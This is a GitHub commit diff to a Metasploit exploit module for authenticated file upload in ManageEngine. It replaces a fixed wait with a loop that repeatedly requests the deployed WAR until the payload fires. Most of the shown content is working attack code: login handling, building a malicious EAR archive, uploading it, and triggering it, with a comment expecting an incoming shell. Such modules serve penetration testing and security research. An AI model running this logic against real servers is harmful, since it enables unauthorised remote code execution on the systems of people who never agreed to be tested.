Skip to content

Commit 6403098

Browse files
committed
Avoid sleep(), survey instead
1 parent a6e351e commit 6403098

File tree

1 file changed

+20
-13
lines changed

1 file changed

+20
-13
lines changed

modules/exploits/multi/http/manageengine_auth_upload.rb

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -67,8 +67,6 @@ def initialize(info = {})
6767
register_options(
6868
[
6969
Opt::RPORT(8080),
70-
OptInt.new('SLEEP',
71-
[true, 'Seconds to sleep while we wait for EAR deployment', 15]),
7270
OptString.new('JSESSIONID',
7371
[false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']),
7472
OptString.new('IAMAGENTTICKET',
@@ -378,7 +376,7 @@ def exploit
378376
cookie = login
379377
end
380378

381-
if cookie == nil
379+
if cookie.nil?
382380
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate")
383381
end
384382

@@ -388,7 +386,11 @@ def exploit
388386

389387
# ... and then we create an EAR file that will contain it.
390388
ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
391-
app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>}
389+
app_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
390+
app_xml << '<application>'
391+
app_xml << "<display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name>"
392+
app_xml << "<module><web><web-uri>#{war_app_base + ".war"}</web-uri>"
393+
app_xml << "<context-root>/#{ear_app_base}</context-root></web></module></application>"
392394

393395
# Zipping with CM_STORE to avoid errors while decompressing the zip
394396
# in the Java vulnerable application
@@ -412,19 +414,24 @@ def exploit
412414
print_status("#{peer} - Uploading EAR file...")
413415
res = send_multipart_request(cookie, ear_file_name, ear_file.pack)
414416
if res && res.code == 200
415-
print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
416-
' seconds for deployment')
417-
sleep(datastore['SLEEP'])
417+
print_status("#{peer} - Upload appears to have been successful")
418418
else
419419
fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed")
420420
end
421421

422-
res = send_request_cgi({
423-
'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
424-
'method' => 'GET'
425-
})
426-
if res && res.code != 200
427-
fail_with(Exploit::Failure::Unknown, "#{peer} - Exploit failed, received HTTP " + res.code.to_s)
422+
10.times do
423+
select(nil, nil, nil, 2)
424+
425+
# Now make a request to trigger the newly deployed war
426+
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
427+
res = send_request_cgi({
428+
'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
429+
'method' => 'GET'
430+
})
431+
# Failure. The request timed out or the server went away.
432+
break if res.nil?
433+
# Success! Triggered the payload, should have a shell incoming
434+
break if res.code == 200
428435
end
429436
end
430437
end

0 commit comments

Comments
 (0)